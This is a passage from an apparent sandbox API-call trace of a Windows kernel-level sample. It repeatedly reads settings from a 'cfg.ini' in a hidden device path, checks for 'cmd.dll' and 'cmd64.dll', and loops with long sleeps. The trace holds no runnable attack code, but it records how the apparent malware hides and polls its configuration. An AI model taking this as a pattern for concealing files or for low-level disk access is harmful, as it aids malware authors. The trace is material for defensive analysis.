out: Event=0xfffff880028da5d0) [0128.774] IdePortDispatch () returned 0x103 [0128.774] KeWaitForMutexObject () returned 0x0 [0128.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.774] KeLeaveCriticalRegion () [0128.774] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.775] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.775] KeEnterCriticalRegion () [0128.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.775] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.775] KeLeaveCriticalRegion () [0128.775] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.775] KeEnterCriticalRegion () [0128.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.775] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.775] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c016e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.775] KeLeaveCriticalRegion () [0128.775] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.775] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.775] KeEnterCriticalRegion () [0128.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.775] ExFreePoolWithTag (P=0xfffffa8003bfffb0, Tag=0x0) [0128.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.775] KeLeaveCriticalRegion () [0128.775] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.775] ReleaseMutex (hMutex=0xf0) returned 1 [0128.775] Sleep (dwMilliseconds=0x124f80) [0128.790] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.790] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.790] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.790] KeEnterCriticalRegion () [0128.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.791] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.791] IdePortDispatch () returned 0x103 [0128.791] KeWaitForMutexObject () returned 0x0 [0128.791] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.791] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.791] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.791] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.791] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.791] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01620 [0128.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.791] KeLeaveCriticalRegion () [0128.791] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.791] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.791] KeEnterCriticalRegion () [0128.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.791] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.791] KeLeaveCriticalRegion () [0128.791] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.791] KeEnterCriticalRegion () [0128.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.791] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.791] IdePortDispatch () returned 0x103 [0128.791] KeWaitForMutexObject () returned 0x0 [0128.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.792] KeLeaveCriticalRegion () [0128.792] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.792] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.792] KeEnterCriticalRegion () [0128.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.792] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b27000 [0128.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.792] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.792] IdePortDispatch () returned 0x103 [0128.792] KeWaitForMutexObject () returned 0x0 [0128.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.792] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.792] IdePortDispatch () returned 0x103 [0128.792] KeWaitForMutexObject () returned 0x0 [0128.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.792] KeLeaveCriticalRegion () [0128.792] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.793] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.793] KeEnterCriticalRegion () [0128.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.793] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.793] KeLeaveCriticalRegion () [0128.793] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.793] KeEnterCriticalRegion () [0128.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.793] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.793] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c016e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.793] KeLeaveCriticalRegion () [0128.793] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.793] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.793] KeEnterCriticalRegion () [0128.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.793] ExFreePoolWithTag (P=0xfffffa8003c01620, Tag=0x0) [0128.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.793] KeLeaveCriticalRegion () [0128.793] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.793] ReleaseMutex (hMutex=0xf0) returned 1 [0128.793] Sleep (dwMilliseconds=0x124f80) [0128.809] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.809] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.809] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.809] KeEnterCriticalRegion () [0128.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.809] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.809] IdePortDispatch () returned 0x103 [0128.809] KeWaitForMutexObject () returned 0x0 [0128.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.809] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.809] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.809] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.809] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.809] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00550 [0128.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.809] KeLeaveCriticalRegion () [0128.809] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.809] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.809] KeEnterCriticalRegion () [0128.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.810] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.810] KeLeaveCriticalRegion () [0128.810] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.810] KeEnterCriticalRegion () [0128.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.810] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.810] IdePortDispatch () returned 0x103 [0128.811] KeWaitForMutexObject () returned 0x0 [0128.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.811] KeLeaveCriticalRegion () [0128.811] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.811] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.811] KeEnterCriticalRegion () [0128.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.811] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2c000 [0128.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.811] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.811] IdePortDispatch () returned 0x103 [0128.811] KeWaitForMutexObject () returned 0x0 [0128.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.812] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.812] IdePortDispatch () returned 0x103 [0128.812] KeWaitForMutexObject () returned 0x0 [0128.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.812] KeLeaveCriticalRegion () [0128.812] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.812] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.813] KeEnterCriticalRegion () [0128.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.813] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.813] KeLeaveCriticalRegion () [0128.813] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.813] KeEnterCriticalRegion () [0128.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.813] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.813] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c014e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.813] KeLeaveCriticalRegion () [0128.813] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.813] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.813] KeEnterCriticalRegion () [0128.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.813] ExFreePoolWithTag (P=0xfffffa8003c00550, Tag=0x0) [0128.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.813] KeLeaveCriticalRegion () [0128.813] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.813] ReleaseMutex (hMutex=0xf0) returned 1 [0128.813] Sleep (dwMilliseconds=0x124f80) [0128.817] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.821] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.821] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.821] KeEnterCriticalRegion () [0128.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.821] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.821] IdePortDispatch () returned 0x103 [0128.821] KeWaitForMutexObject () returned 0x0 [0128.821] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.821] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.821] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.821] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.821] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.821] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfffb0 [0128.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.821] KeLeaveCriticalRegion () [0128.821] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.822] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.822] KeEnterCriticalRegion () [0128.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.822] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.822] KeLeaveCriticalRegion () [0128.822] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.822] KeEnterCriticalRegion () [0128.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.822] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.822] IdePortDispatch () returned 0x103 [0128.822] KeWaitForMutexObject () returned 0x0 [0128.822] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.822] KeLeaveCriticalRegion () [0128.822] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.822] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.822] KeEnterCriticalRegion () [0128.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.822] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4f000 [0128.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.822] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.822] IdePortDispatch () returned 0x103 [0128.822] KeWaitForMutexObject () returned 0x0 [0128.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.823] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.823] IdePortDispatch () returned 0x103 [0128.823] KeWaitForMutexObject () returned 0x0 [0128.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.823] KeLeaveCriticalRegion () [0128.823] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.823] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.824] KeEnterCriticalRegion () [0128.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.824] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.824] KeLeaveCriticalRegion () [0128.824] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.824] KeEnterCriticalRegion () [0128.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.824] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.824] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.824] KeLeaveCriticalRegion () [0128.824] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.824] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.824] KeEnterCriticalRegion () [0128.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.824] ExFreePoolWithTag (P=0xfffffa8003bfffb0, Tag=0x0) [0128.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.824] KeLeaveCriticalRegion () [0128.824] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.824] ReleaseMutex (hMutex=0xf0) returned 1 [0128.824] Sleep (dwMilliseconds=0x124f80) [0128.836] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.836] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.836] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.836] KeEnterCriticalRegion () [0128.836] ExAcquireFastMutexUnsafe (in: 